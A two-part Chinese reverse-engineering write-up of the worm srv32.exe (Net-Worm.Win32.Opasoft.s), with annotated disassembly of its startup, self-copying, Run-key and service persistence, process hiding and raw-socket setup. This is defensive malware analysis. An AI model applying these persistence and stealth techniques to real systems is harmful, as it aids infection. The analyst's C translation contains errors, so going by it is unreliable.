蠕虫 srv32.exe 逆向分析笔记

来源:互联网 发布:algorithm算法 编辑:程序博客网 时间:2024/05/17 09:32

启动篇



文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具:   IDA 4.5.1, OllyDbg V1.10

脱壳,用IDA反汇编,到程序的开始位置:

CODE:00401000 start       proc near
CODE:00401000           enter   314h, 0
CODE:00401004           lea   eax, [ebp+ExistingFileName] ; 存储病毒路径+名称
CODE:0040100A           push   100h         ; nSize
CODE:0040100F           push   eax         ; lpFilename
CODE:00401010           push   0           ; hModule
CODE:00401012           call   GetModuleFileNameA ; 获得病毒的路径名称
CODE:00401017           call   GetCommandLineA
CODE:0040101C           mov   esi, eax

;程序首先调用GetModuleFileNameA和GetCommandLineA得到程序所在路径,文件名称和参数信息。


CODE:0040101E           cld
CODE:0040101F           mov   ah, 20h
CODE:00401021           lodsb            
;把DS:[ESI]指向的字节存到AL中,即第一个字符,这里ESI指向命令行字符串

CODE:00401022           cmp   al, 22h       ; 比较ESI指向的第一个字符是否是:双引号
CODE:00401024           jnz   short loc_401028 ; 在这里没有跳转
CODE:00401026           mov   ah, al

CODE:00401028 loc_401028:
CODE:00401028           lodsb
CODE:00401029           test   al, al
CODE:0040102B           jz     short loc_40105C ; 判断是否到命令行字符串的结束符
CODE:0040102D           cmp   al, ah       ; 比较
CODE:0040102F           jnz   short loc_401028

;找下一个 双引号 出现的位置,即定位到命令行的程序名称末尾,再往后可能就是参数了

CODE:00401031 loc_401031:   lodsb
CODE:00401032           test   al, al       ; 判断是否到命令行字符串的结束符
CODE:00401034           jz     short loc_40105C
CODE:00401036           cmp   al, 20h
CODE:00401038           jz     short loc_401031

;取第二此出现双引号以后的第一个非空格字符,当然是参数了

CODE:0040103A           and   al, 0DFh     ; 小写字母转换成大写字母
CODE:0040103C           cmp   al, 55h       ; 命令行参数-'U'
CODE:0040103E           jz     loc_401107
CODE:00401044           cmp   al, 44h       ; 参数'D'
CODE:00401046           jz     loc_401165
CODE:0040104C           cmp   al, 43h       ; 参数'C'
CODE:0040104E           jz     loc_401170
CODE:00401054           cmp   al, 53h       ; 参数'S'
CODE:00401056           jz     loc_4011DA

;把参数转换成大写,跳到相应的处理代码,如果没有参数就继续执行,我们先看又参数的情况
先来看参数U吧,用OllyDbg打开Srv32.exe,选择菜单调试->参数,加上参数u,找到loc_401107,按F4执行到:

CODE:00401107 loc_401107:
CODE:00401107           push   esi         ;耶,怎么用ESI,esi已经指向命令行字符串的末尾
了啊?先不管看看下面做什么操作
CODE:00401108           call   sub_40132B     ;调用了个子程序进去看看
CODE:0040110D           lea   eax, [ebp+ExistingFileName]
CODE:00401113           push   0           ; bFailIfExists
CODE:00401115           push   esi         ; lpNewFileName
CODE:00401116           push   eax         ; lpExistingFileName
CODE:00401116                           ; 病毒路径+名称
CODE:00401117           call   CopyFileA
CODE:0040111C           test   eax, eax


CODE:0040132B sub_40132B     proc near
CODE:0040132F loc_40132F:
CODE:0040132F           push   [ebp+lpFileName] ;?这里的文件名为空(PUSH ESI)
CODE:00401332           call   DeleteFileA     ;删除文件,文件名为空,搞什么鬼
CODE:00401337           test   eax, eax
CODE:00401339           jnz   short locret_401351 ;DeleteFileA成功退出Sub_40132B
CODE:0040133B           call   GetLastError   ;在这里我们返回值为3(系统找不到指定的路径)
CODE:00401340           cmp   eax, 2       ; 找不到指定文件
CODE:00401343           jz     short locret_401351 ; 退出
CODE:00401345           push   3E8h         ; dwMilliseconds
CODE:0040134A           call   Sleep
CODE:0040134F           jmp   short loc_40132F ;程序在这里一直循环,难道是BUG,不会吧?
CODE:00401351 locret_401351:                
CODE:00401351           leave
CODE:00401352           retn   4
CODE:00401352 sub_40132B     endp

;sub_40132B是一段删除文件的操作,而文件名就是[esi],看来参数U后面还得加上个文件名,我们把参数改成
uabc.txt,继续往下看
从sub_40132B出来:

CODE:0040110D           lea   eax, [ebp+ExistingFileName]
CODE:00401113           push   0           ; bFailIfExists
CODE:00401115           push   esi         ; lpNewFileName
CODE:00401116           push   eax         ; lpExistingFileName
CODE:00401116                           ; 病毒路径+名称
CODE:00401117           call   CopyFileA
CODE:0040111C           test   eax, eax
CODE:0040111E           jz     loc_401218     ; CopyFile失败跳转

把病毒拷贝到新的路径,哦,U后面的参数是拷贝病毒的位置和新的名字,如果这个新的路径有这个文件就~~~~~
~~调用sub_40132B函数删除这个文件(真狠啊!)
现在知道sub_40132B的作用了,好咱们继续往下走。

CODE:00401124           lea   edi, [ebp+var_300]
CODE:0040112A           push   esi
CODE:0040112B           push   edi
CODE:0040112C           call   lstrcpy       ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131           push   edi
CODE:00401132           call   lstrlen
CODE:00401137           add   edi, eax
CODE:00401139           mov   ax, 4420h
CODE:0040113D           stosw             ; 存储0x4420
CODE:0040113F           lea   eax, [ebp+ExistingFileName]
CODE:00401145           push   eax
CODE:00401146           push   edi
CODE:00401147           call   lstrcpy
CODE:0040114C           lea   eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152           push   eax
CODE:00401153           call   sub_4013A8     ; 这个函数创建了一个进程
CODE:00401158           test   eax, eax     ; eax为CreateProcessA返回值
CODE:0040115A           jnz   locret_40123C   ; 创建进程成功跳转,执行新进程,退出此程序
CODE:00401160           jmp   loc_401218

这段代码中srv32通过调用CreateProcess创建了一个进程,新进程的执行文件就是上面CopyFile函数拷贝出的
srv32的一个拷贝。
如果创建进程成功就执行新的进程,退出srv32;否则跳转到如下位置:

CODE:00401218 loc_401218:
CODE:00401218           push   offset aKernel32_dll ; lpModuleName
CODE:0040121D           call   GetModuleHandleA
CODE:00401222           push   offset aRegisterservic ; lpProcName
CODE:00401227           push   eax         ; hModule
CODE:00401228           call   GetProcAddress ; 获得RegisterServiceProcess(Win9x函数)地址
CODE:0040122D           test   eax, eax
CODE:0040122F           jz     short loc_401237
CODE:00401231           push   1           ; dwType:
CODE:00401231                           ; RSP_SIMPLE_SERVICE = 1 隐藏进程
CODE:00401231                           ; RSP_UNREGISTER_SERVICE = 0 取消进程隐藏
CODE:00401231                           ;
CODE:00401233           push   0           ; dwPID = NULL 代表当前进程
CODE:00401235           call   eax         ; 调用RegisterServiceProcess函数
CODE:00401237
CODE:00401237 loc_401237:
CODE:00401237           call   sub_40123E
CODE:0040123C
CODE:0040123C locret_40123C:
CODE:0040123C           leave
CODE:0040123D           retn
CODE:0040123D start       endp

;如果创建进程没有成功,调用RegisterServiceProcess函数来隐藏进程,最后调用sub_40123E。

;注:RegisterServiceProcess 是Win9x中一个未公开的API函数,调用时需要通过GetProcAddress得到其地址,
;参数dwType为1时隐藏进程,为1时取消隐藏,参数dwPID为进程的PID,为零则表示当前进程。


再看下一个参数'D':

CODE:00401165 loc_401165:
CODE:00401165           push   esi
CODE:00401166           call   sub_40132B
CODE:0040116B           jmp   loc_401218
;和参数 'U' 一样也调用了sub_40132B,只是少了CopyFile的动作,直接跳转到了RegisterServiceProcess
;看来D就是用来删除指定文件的



继续参数'C':

:00401170 loc_401170:
CODE:00401170           call   sub_401355     ; 调用了GetProcAddress得到OpenSCManager..
                                    ;等函数的地址
CODE:00401175           test   eax, eax     ; 返回1函数 Sub_401355调用成功,0失败。
CODE:00401177           jz     loc_401218     ; 失败则跳转

;用参数'C'时,调用了下面的函数sub_401355

CODE:00401355 sub_401355     proc near
CODE:00401355 hModule       = dword ptr -8
CODE:00401355 var_4       = dword ptr -4
CODE:00401355           enter   8, 0
CODE:00401359           push   edi
CODE:0040135A           mov   [ebp+var_4], 0
CODE:00401361           push   offset aAdvapi32 ; lpLibFileName
CODE:00401366           call   LoadLibraryA
CODE:0040136B           test   eax, eax
CODE:0040136D           jz     short loc_4013A2 ; 调用LoadLibrary失败时跳转
CODE:0040136F           mov   [ebp+hModule], eax
CODE:00401372           mov   edi, offset aOpenscmanagera ; "OpenSCManagerA"
CODE:00401377           mov   esi, offset dword_406193
CODE:0040137C
CODE:0040137C loc_40137C:
CODE:0040137C           push   edi         ; lpProcName
CODE:0040137D           push   [ebp+hModule]   ; hModule
CODE:00401380           call   GetProcAddress ; 获得函数Advapi32!OpenSCManagerA的地址
CODE:00401385           test   eax, eax
CODE:00401387           jz     short loc_4013A2 ; 调用GetProcAddress 失败时跳转
CODE:00401389           mov   [esi], eax     ; 把OpenSCManager的地址存到[ESI]中
CODE:0040138B           add   esi, 4
CODE:0040138E           xor   eax, eax
CODE:00401390           xor   ecx, ecx
CODE:00401392           not   ecx
CODE:00401394           repne scasb
CODE:00401396           cmp   byte ptr [edi], 0
CODE:00401399           jnz   short loc_40137C ; 循环,取
CODE:00401399                       ; 00406127 aCreateservicea db 'CreateServiceA'
CODE:00401399                       ; 00406136 aCloseserviceha db 'CloseServiceHandle'
CODE:00401399                       ; 00406149 aStartservicect db 'StartServiceCtrlDispatcherA'
CODE:00401399                       ; 00406165 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA'
CODE:00401399                       ; 00406181 aSetservicestat db 'SetServiceStatus',0
CODE:00401399                           ; 函数的地址
CODE:0040139B           mov   [ebp+var_4], 1 ; 修改返回值
CODE:004013A2
CODE:004013A2 loc_4013A2:
CODE:004013A2           mov   eax, [ebp+var_4] ; 成功返回值1,失败返回0
CODE:004013A5           pop   edi
CODE:004013A6           leave
CODE:004013A7           retn
CODE:004013A7 sub_401355     endp

;函数sub_401355 又调用了API函数LoadLibrary("Advapi32")得到Advapi32的模块句柄,然后又循环调用了
GetProcAddress 得到OpenSCManagerA, CreateServiceA, CloseServiceHandle,
StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA,SetServiceStatus这些函数的地址。
然后就调用OpenSCManager,CreateServiceA,创建一个服务srv32指向srv32程序,启动参数为'S'
如下代码:

CODE:0040117D           push   2
CODE:0040117F           push   0           ; SERVICES_ACTIVE_DATABASE
CODE:00401181           push   0           ; LocalMachine
CODE:00401183           call   ds:dword_406193 ; OpenSCManager函数
CODE:00401189           test   eax, eax
CODE:0040118B           jz     loc_401218     ; OpenSCManager失败则跳转
CODE:00401191           mov   esi, eax     ; handle of service control manager database
CODE:00401193           lea   edi, [ebp+ExistingFileName] ; 病毒路径+文件名
CODE:00401199           push   edi
CODE:0040119A           call   lstrlen       ; (病毒路径+文件名)的长度
CODE:0040119F           mov   edx, edi
CODE:004011A1           add   edi, eax
CODE:004011A3           mov   eax, 5320h
CODE:004011A8           stosd             ; 存储0x5320h = " S"
CODE:004011A9           xor   ecx, ecx
CODE:004011AB           push   ecx
CODE:004011AC           push   ecx
CODE:004011AD           push   ecx
CODE:004011AE           push   ecx
CODE:004011AF           push   ecx
CODE:004011B0           push   edx         ; "ExistingFileName" + " S"
CODE:004011B1           push   1           ; dwErrorControl = SERVICE_ERROR_NORMAL
CODE:004011B3           push   2           ; dwStartType = SERVICE_AUTO_START
CODE:004011B3                           ; 自动启动
CODE:004011B5           push   10h         ; dwServiceType =
CODE:004011B5                           ; SERVICE_WIN32_OWN_PROCESS
CODE:004011B7           push   0F01FFh       ; dwDesiredAccess
CODE:004011BC           push   offset aSrv32_0 ; lpDisplayName = "srv32"
CODE:004011C1           push   offset aSrv32_0 ; lpServiceName = "srv32"
CODE:004011C6           push   esi         ; handle of service control manager database
CODE:004011C7           call   ds:dword_406197 ; CreateServiceA函数
CODE:004011CD           test   eax, eax
CODE:004011CF           jz     short loc_401218
CODE:004011D1           push   eax
CODE:004011D2           call   ds:dword_40619B ; CloseServiceHandle函数
CODE:004011D8           jmp   short loc_401218

;最后跳转到loc_401218调用RegsterServiceProcess隐藏进程,再调用sub_40123E


再看参数'S':

CODE:004011DA loc_4011DA:
CODE:004011DA           call   sub_401355
CODE:004011DF           test   eax, eax
CODE:004011E1           jz     short loc_401218 ; 函数sub_401355失败跳转
CODE:004011E3           mov   [ebp+var_314], offset aSrv32_0 ; "Srv32"
CODE:004011ED           mov   [ebp+var_310], offset loc_401467
CODE:004011F7           xor   eax, eax
CODE:004011F9           mov   [ebp+var_30C], eax
CODE:004011FF           mov   [ebp+var_308], eax
CODE:00401205           lea   eax, [ebp+var_314]
CODE:0040120B           push   eax
CODE:0040120C           call   ds:dword_40619F ; StartServiceCtrlDispatcherA
CODE:00401212           test   eax, eax
CODE:00401214           jnz   short locret_40123C ; StartServiceCtrlDispatcherA调用成功跳转
CODE:00401216           jmp   short loc_401218

同样也调用了函数sub_401355来得到OpenSCManager, StartServiceCtrlDispatcherA等函数的地址,随后调用
StartServiceCtrlDispatcherA(这个函数应该是来启动有参数'C'创建的服务的,具体大家还是看一下MSDN吧。)
如果启动服务失败就隐藏进程后调用sub_40123E。

上面都是一些加了参数的启动方式,但是一般病毒第一次启动时可能是没有参数的,因为第一次启动最可能就是
不小心双击了被感染程序,所以我们再看看没有参数时srv32的启动过程是什么样子的。


CODE:0040105C loc_40105C:
CODE:0040105C           call   GetVersion
CODE:00401061           bt     eax, 1Fh     ; 测试最高位(31 bit)是否为1,1为win9x平台
CODE:00401065           jnb   loc_401218     ; 0为NT平台,最高位为0(CF = 0)时跳转,
CODE:00401065                           ; 也就是系统为NT平台时跳转到loc_401218执行
CODE:00401065                           ; RegisterServiceProcess隐藏进程
CODE:0040106B           lea   edi, [ebp+ExistingFileName]

首先调用GetVersion API函数得到操作系统平台信息,如果为NT平台跳转到loc_401218,再调用sub_40123E。
如果为9x平台,继续往下执行...


CODE:0040106B           lea   edi, [ebp+ExistingFileName]
CODE:00401071           push   edi
CODE:00401072           call   lstrlen       ; 计算文件名+路径的长度
CODE:00401077           mov   ecx, eax
CODE:00401079           add   edi, eax
CODE:0040107B           dec   edi
CODE:0040107C           mov   al, 5Ch
CODE:0040107E           std
CODE:0040107F           repne scasb
CODE:00401081           cld
CODE:00401082           add   edi, 2       ; 定位文件名
CODE:00401085           push   offset aNew_exe ; "new.exe"
CODE:0040108A           push   edi
CODE:0040108B           call   lstrcmpi     ; 不区分大小写比较
CODE:00401090           test   eax, eax
CODE:00401092           jnz   loc_401218     ; 文件名不是"new.exe"则跳转

这里不知道为什么和"new.exe"比较???
我得文件名是srv32.exe当然就跳转的loc_401218然后调用sub_40123E,
如果文件名是new.exe则执行下面的代码

CODE:00401098           lea   esi, [ebp+Buffer]
CODE:0040109E           push   100h         ; uSize
CODE:004010A3           push   esi         ; lpBuffer
CODE:004010A4           call   GetWindowsDirectoryA
CODE:004010A9           push   esi
CODE:004010AA           call   lstrlen
CODE:004010AF           add   eax, esi
CODE:004010B1           push   offset aSrv32_exe ; "//Srv32.exe"
CODE:004010B6           push   eax
CODE:004010B7           call   lstrcpy
CODE:004010BC           lea   eax, [ebp+hKey]
CODE:004010C2           push   eax         ; phkResult
CODE:004010C3           push   3           ; samDesired
CODE:004010C5           push   0           ; ulOptions
CODE:004010C7           push   offset aSoftwareMicros ; lpSubKey
CODE:004010CC           push   80000002h     ; HKLM
CODE:004010D1           call   RegOpenKeyExA
CODE:004010D6           cmp   eax, 0
CODE:004010D9           jnz   loc_401218
CODE:004010DF           push   esi
CODE:004010E0           call   lstrlen
CODE:004010E5           inc   eax
CODE:004010E6           push   eax         ; cbData
CODE:004010E7           push   esi         ; lpData
CODE:004010E8           push   1           ; dwType
CODE:004010EA           push   0           ; Reserved
CODE:004010EC           push   offset aSrv32   ; lpValueName
CODE:004010F1           push   [ebp+hKey]     ; hKey
CODE:004010F7           call   RegSetValueExA
CODE:004010FC           push   [ebp+hKey]     ; hKey
CODE:00401102           call   RegCloseKey

写注册表HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run项,用处不用说了吧^_^


CODE:00401107
CODE:00401107 loc_401107:
CODE:00401107           push   esi         ; 指定病毒被复制到的路径和文件名,用参数U
CODE:00401108           call   sub_40132B     ; 删除指定文件
CODE:0040110D           lea   eax, [ebp+ExistingFileName]
CODE:00401113           push   0           ; bFailIfExists
CODE:00401115           push   esi         ; lpNewFileName
CODE:00401116           push   eax         ; lpExistingFileName
CODE:00401116                           ; 病毒路径+名称
CODE:00401117           call   CopyFileA
CODE:0040111C           test   eax, eax
CODE:0040111E           jz     loc_401218     ; CopyFile失败跳转

把srv32复制到windows目录下

CODE:00401124           lea   edi, [ebp+var_300]
CODE:0040112A           push   esi
CODE:0040112B           push   edi
CODE:0040112C           call   lstrcpy       ; 把病毒新的路径和文件名存到[ebp+300]
CODE:00401131           push   edi
CODE:00401132           call   lstrlen
CODE:00401137           add   edi, eax
CODE:00401139           mov   ax, 4420h
CODE:0040113D           stosw             ; 存储0x4420 = " D"
CODE:0040113F           lea   eax, [ebp+ExistingFileName]
CODE:00401145           push   eax
CODE:00401146           push   edi
CODE:00401147           call   lstrcpy
CODE:0040114C           lea   eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName
CODE:00401152           push   eax
CODE:00401153           call   sub_4013A8     ; 这个函数创建了一个进程
CODE:00401158           test   eax, eax     ; eax为CreateProcessA返回值
CODE:0040115A           jnz   locret_40123C   ; 创建进程成功跳转,执行新进程,退出此程序
CODE:00401160           jmp   loc_401218

然后创建一个进程,带参数'D'执行,参数'd'后面跟的是srv32.exe ,即执行windows目录下的程序后,删除自
身,最后也是跳转到loc_401218,再调用sub_40123E

到这里srv32的前期工作已经做好了,下面就快搞破坏了。
-----

蠕虫 srv32.exe 逆向分析笔记2

文件名称:srv32.exe
蠕虫名称:Net-Worm.Win32.Opasoft.s
工具:   IDA 4.5.1, OllyDbg V1.10

CODE:0040123E sub_40123E     proc near
CODE:0040123E Buffer       = byte ptr -100h
CODE:0040123E           enter   100h, 0
CODE:00401242           push   offset aSrv3231415 ; lpName
CODE:00401247           push   0FFFFFFFFh       ; bInitialOwner
CODE:00401249           push   0             ; lpMutexAttributes
CODE:0040124B           call   CreateMutexA     ; 创建一个互斥对象"Srv3231415"
CODE:00401250           call   GetLastError
CODE:00401255           test   eax, eax
CODE:00401257           jnz   locret_401329     ; 创建互斥失败则跳转;退出程序
CODE:0040125D           call   GetCurrentProcess
CODE:00401262           push   40h           ; dwPriorityClass
CODE:00401264           push   eax           ; hProcess
CODE:00401265           call   SetPriorityClass   ; 设置优先级为IDLE_PRIORITY_CLASS = 0x40
CODE:0040126A           lea   esi, [ebp+Buffer]
CODE:00401270           push   100h           ; uSize
CODE:00401275           push   esi           ; lpBuffer
CODE:00401276           call   GetWindowsDirectoryA ; 获得Windows目录
CODE:0040127B           push   esi           ; lpPathName
CODE:0040127C           call   SetCurrentDirectoryA ; 设置当前目录为Windows目录
CODE:00401281           call   sub_401C98       ; 查询是否写了注册表项
CODE:00401281                             ; HKLM/Software/Microsoft/Windows/CurrentVersion/srv32
CODE:00401286           cmp   ds:Data, 0
CODE:0040128D           jz     short loc_401294   ; 没有写注册表项或
CODE:0040128D                             ; HKLM/.../srv32/D = 0 则跳转
CODE:0040128F           call   sub_4030EB

进入sub_40123E后,首先创建了一个互斥Srv3231415,失败的话此程序就退出了;
然后又去查询注册表HKLM/Software/Microsoft/Windows/CurrenteVersion/srv32下
"D"的值,如果srv32存在D的键值不为0则调用sub_4030EB,代码如下:

CODE:004030EB sub_4030EB     proc near
CODE:004030EB ThreadId     = dword ptr -4
CODE:004030EB           enter   4, 0
CODE:004030EF           cmp   ds:dword_406004, 0
CODE:004030F6           jnz   locret_403184
CODE:004030FC           mov   ds:dword_406004, 1
CODE:00403106           push   18Ch         ; uBytes
CODE:0040310B           push   0           ; uFlags
CODE:0040310D           call   LocalAlloc
CODE:00403112           mov   esi, eax
CODE:00403114           push   esi         ; lpWSAData
CODE:00403115           push   101h         ; wVersionRequested
CODE:0040311A           call   WSAStartup
CODE:0040311F           mov   edi, eax
CODE:00403121           push   esi         ; hMem
CODE:00403122           call   LocalFree
CODE:00403127           test   edi, edi
CODE:00403129           jnz   short loc_403186
CODE:0040312B           push   1           ; protocol:ICMP
CODE:0040312D           push   3           ; type: SOCK_RAW
CODE:0040312F           push   2           ; AF_INET
CODE:00403131           call   socket
CODE:00403136           cmp   eax, 0FFFFFFFFh
CODE:00403139           jz     short loc_403192
CODE:0040313B           mov   ds:s, eax
CODE:00403140           lea   eax, [ebp+ThreadId]
CODE:00403143           push   eax         ; lpThreadId
CODE:00403144           push   0           ; dwCreationFlags
CODE:00403146           push   ds:s         ; lpParameter
CODE:0040314C           push   offset sub_403045 ; lpStartAddress
CODE:00403151           push   1000h       ; dwStackSize
CODE:00403156           push   0           ; lpThreadAttributes
CODE:00403158           call   CreateThread
CODE:0040315D           lea   eax, [ebp+ThreadId]
CODE:00403160           push   eax         ; lpThreadId
CODE:00403161           push   0           ; dwCreationFlags
CODE:00403163           push   ds:s         ; lpParameter
CODE:00403169           push   offset sub_402EEE ; lpStartAddress
CODE:0040316E           push   1000h       ; dwStackSize
CODE:00403173           push   0           ; lpThreadAttributes
CODE:00403175           call   CreateThread
CODE:0040317A           mov   ds:dword_406004, 2
CODE:00403184
CODE:00403184 locret_403184:
CODE:00403184           leave
CODE:00403185           retn
CODE:00403186 ; ///////////////////////////////////////////////////////////////////////////
CODE:00403186
CODE:00403186 loc_403186:                   ; CODE XREF: sub_4030EB+3Ej
CODE:00403186           mov   ds:dword_406004, 0
CODE:00403190           leave
CODE:00403191           retn
CODE:00403192 ; ///////////////////////////////////////////////////////////////////////////
CODE:00403192
CODE:00403192 loc_403192:                   ; CODE XREF: sub_4030EB+4Ej
CODE:00403192           call   WSACleanup
CODE:00403197           mov   ds:dword_406004, 0
CODE:004031A1           leave
CODE:004031A2           retn
CODE:004031A2 sub_4030EB     endp


在sub_4030EB里打开了socket,并创建了两个线程(动作越来越明显了 ^…^)。
由于我第一次执行没有此键值所以跳转了,我们就先看跳转的情况吧:

CODE:00401294 loc_401294:
CODE:00401294           mov   ds:dword_406587, 0
CODE:0040129E           call   sub_4033E7

调用了一个call sub_4033E7跟进去看看...

CODE:004033E7 sub_4033E7     proc near
CODE:004033E7           push   ebp
CODE:004033E8           mov   esi, offset unk_406DB4
CODE:004033ED           mov   edi, offset dword_407750
CODE:004033F2           mov   ebp, 0

CODE:004033F7 loc_4033F7:
CODE:004033F7           cmp   ebp, 20h
CODE:004033FA           jnb   short loc_40342F ; 不低于0x20就跳转,退出循环1
CODE:004033FC           mov   ah, 1

CODE:004033FE loc_4033FE:
CODE:004033FE           cmp   ah, 40h
CODE:00403401           ja     short loc_40342A ; 大于0x40就跳转
CODE:00403403           test   ah, 1
CODE:00403406           jz     short loc_403409 ; ah的第0位为0则跳转
CODE:00403408           lodsb

CODE:00403409 loc_403409:
CODE:00403409           shl   al, 1
CODE:0040340B           jnb   short loc_403417
CODE:0040340D           movzx   ecx, ss:byte_406EB4[ebp]
CODE:00403414           bts   [edi], ecx

CODE:00403417 loc_403417:
CODE:00403417           inc   ebp
CODE:00403418           test   ebp, 3
CODE:0040341E           jnz   short loc_403409
CODE:00403420           sub   ebp, 4
CODE:00403423           inc   ah
CODE:00403425           add   edi, 4
CODE:00403428           jmp   short loc_4033FE
CODE:0040342A ; //////////////////////////////////////////////////////////////
CODE:0040342A loc_40342A:
CODE:0040342A           add   ebp, 4
CODE:0040342D           jmp   short loc_4033F7
CODE:0040342F ; ///////////////////////////////////////////////////////////////
CODE:0040342F
CODE:0040342F loc_40342F:
CODE:0040342F           pop   ebp
CODE:00403430           retn
CODE:00403430 sub_4033E7     endp

这段代码用C表示:

BYTE array_406DB4[] =
{
    0xE0, 0x4F, 0xD7, 0x14, 0x2E, 0xF2, 0xBD, 0x81,
    0x3A, 0xA6, 0x6C, 0xCB, 0x59, 0x95, 0x03, 0x78,
    0x4F, 0x1C, 0xE8, 0x82, 0xD4, 0x69, 0x21, 0xB7,
    0xF5, 0xCB, 0x93, 0x7E, 0x3A, 0xA0, 0x56, 0x0D,
    0xF3, 0x1D, 0x84, 0xE7, 0x6F, 0xB2, 0x38, 0x4E,
    0x9C, 0x70, 0x21, 0xDA, 0xC6, 0x09, 0x5B, 0xA5,
    0x0D, 0xE8, 0x7A, 0xB1, 0xA3, 0x4F, 0xD4, 0x12,
    0x5B, 0x86, 0xC7, 0x6C, 0x90, 0x35, 0x2E, 0xF9,
    0xAD, 0x07, 0x90, 0xE9, 0x63, 0x34, 0xF6, 0x5A,
    0x12, 0xD8, 0xC5, 0x7E, 0xBC, 0x4B, 0x2F, 0x81,
    0xD1, 0x6A, 0x4D, 0x90, 0x86, 0xF9, 0x38, 0x07,
    0xB4, 0x1F, 0x2E, 0xC3, 0x5B, 0xA5, 0xE2, 0x7C,
    0x7D, 0xD8, 0xEB, 0x35, 0x06, 0x6F, 0x90, 0xA3,
    0x14, 0x27, 0x82, 0x5C, 0xB1, 0xCA, 0x4E, 0xF9,
    0xA3, 0x6F, 0x90, 0x06, 0xCA, 0xB1, 0x7D, 0xD8,
    0xF9, 0x14, 0x35, 0xEB, 0x5C, 0x27, 0x82, 0x4E,
    0x2E, 0xCB, 0x42, 0x1C, 0x74, 0xA7, 0xBD, 0x61,
    0x85, 0x50, 0x3F, 0xFA, 0xD3, 0x09, 0xE8, 0x96,
    0x4B, 0x28, 0x1C, 0xB7, 0xA1, 0xDE, 0x72, 0x8D,
    0xF6, 0x9F, 0xC0, 0x59, 0x6A, 0x34, 0x05, 0xE3,
    0xCA, 0x1F, 0xA4, 0xF2, 0x97, 0x2C, 0x69, 0x85,
    0x06, 0xD1, 0x3D, 0x4E, 0xE0, 0x7B, 0x53, 0xB8,
    0x94, 0xE3, 0xF2, 0x5C, 0x29, 0x85, 0xCF, 0x3A,
    0x7B, 0x0E, 0x41, 0xA7, 0x16, 0xD0, 0xB8, 0x6D,
    0x4D, 0xB0, 0x2B, 0xE7, 0xF4, 0x09, 0x81, 0xDA,
    0x3E, 0xC3, 0x95, 0x7C, 0x52, 0xAF, 0x68, 0x16,
    0x16, 0x4B, 0xBD, 0xD8, 0xC1, 0x34, 0x7A, 0xE7,
    0xA9, 0xF5, 0x60, 0x8F, 0x0E, 0x52, 0x93, 0x2C,
    0xD1, 0x2F, 0x8D, 0x48, 0x6A, 0xF3, 0xB7, 0x14,
    0xAC, 0x95, 0x36, 0xEB, 0x50, 0x0E, 0xC9, 0x72,
    0x72, 0xB1, 0x4E, 0x17, 0x94, 0xCA, 0xE8, 0x2D,
    0x0F, 0x6C, 0xA9, 0xD0, 0xF3, 0x35, 0x56, 0x8B
}
BYTE array_406EB4[] =
{
    0x1A, 0x12, 0x0C, 0x04, 0x16, 0x07, 0x01, 0x11,
    0x0B, 0x13, 0x05, 0x1D, 0x09, 0x0F, 0x19, 0x02,
    0x1B, 0x15, 0x0A, 0x00, 0x1F, 0x06, 0x18, 0x10,
    0x03, 0x17, 0x0D, 0x1C, 0x1E, 0x08, 0x14, 0x0E
};
/*****十进制表示
BYTE array_406EB4[] =
{
    26,18,12,04,22,07,01,17,
    11,19,05,29,09,15,25,02,
    27,21,10,00,31,06,24,16,
    03,23,13,28,30,08,20,14
}
*****/


DWORD pdw_407750[8*0x40];

//i=ebp, j=ah, k=al
int i,j,m=0,n;
BYTE k,temp;
BOOL b;
for(i=0; i< 0x20; i+=4)
{
  j = 1;
  while(j <= 0x40)
  {
    //奇偶判断
    if( (j & 1) != 0)
    {
      k = array_406DB4[m];
      m++;
    }

    do{
      b = k & 0x80;
      k << 1;
      if(b)
      {
          temp = array_406EB4;
        *pwd_407750 │= (temp+1);    
      }

      i++;
             
    }while( (i&3) !=0 );
   
    i -= 4;    
    j++
    pdw_407750++; //edi += 4;    
  }
}

此处生成了256字节如下数据:

00407750 00 10 04 04 00 00 00 00 00 00 04 00 10 10 04 04 ................
00407760 10 00 04 04 10 10 04 00 10 00 00 00 00 00 04 00 ................
00407770 00 10 00 00 00 10 04 04 10 10 04 04 00 10 00 00 ................
00407780 10 10 00 04 10 00 04 04 00 00 00 04 10 00 00 00 ................
00407790 10 10 00 00 00 10 00 04 00 10 00 04 00 10 04 00 ................
004077A0 00 10 04 00 00 00 04 04 00 00 04 04 10 10 00 04 ................
004077B0 10 00 04 00 10 00 00 04 10 00 00 04 10 00 04 00 ................
004077C0 00 00 00 00 10 10 00 00 10 10 04 00 00 00 00 04 ................
004077D0 00 00 04 00 10 10 04 04 10 00 00 00 00 00 04 04 ................
004077E0 00 10 04 04 00 00 00 04 00 00 00 04 00 10 00 00 ................
004077F0 10 00 04 04 00 00 04 00 00 10 04 00 10 00 00 04 ................
00407800 00 10 00 00 10 00 00 00 10 10 00 04 10 10 04 00 ................
00407810 10 10 04 04 10 00 04 00 00 00 04 04 10 10 00 04 ................
00407820 10 00 00 04 10 10 00 00 10 10 04 00 00 10 04 04 ................
00407830 10 10 00 00 00 10 00 04 00 10 00 04 00 00 00 00 ................
00407840 10 00 04 00 00 10 04 00 00 00 00 00 10 00 04 04 ................

现在还不知道这些数据做什么用的,先继续往下看...

CODE:004012A3 loc_4012A3:
CODE:004012A3           push   offset aSrv32res ; "Srv32Res"
CODE:004012A8           call   sub_4019A5     ; 打开已存在的文件srv32res,并得到其大小
CODE:004012AD           inc   eax         ; eax为文件srv32res的大小
CODE:004012AE           cmp   eax, 9
CODE:004012B1           jnb   short loc_4012C3 ; 如果文件srv32res大于8个字节则跳转
CODE:004012B3           push   offset aSccss   ; "sccss"
CODE:004012B8           call   sub_4019A5     ; 打开文件sccss
CODE:004012BD           inc   eax
CODE:004012BE           cmp   eax, 9
CODE:004012C1           jb     short loc_4012C8 ; 如果文件sccss小于8个字节则跳转

这里调用sub_4019A5来判断Windows目录下文件Srv32Res和sccss的大小,第一次执行到这里没有这两个
文件,所以跳转了。

CODE:004012C3 loc_4012C3:
CODE:004012C3           call   sub_40148D
CODE:004012C8
CODE:004012C8 loc_4012C8:
CODE:004012C8           call   sub_401575
CODE:004012CD           test   eax, eax     ; 如果打开文件srv32tsk出错,eax == 0
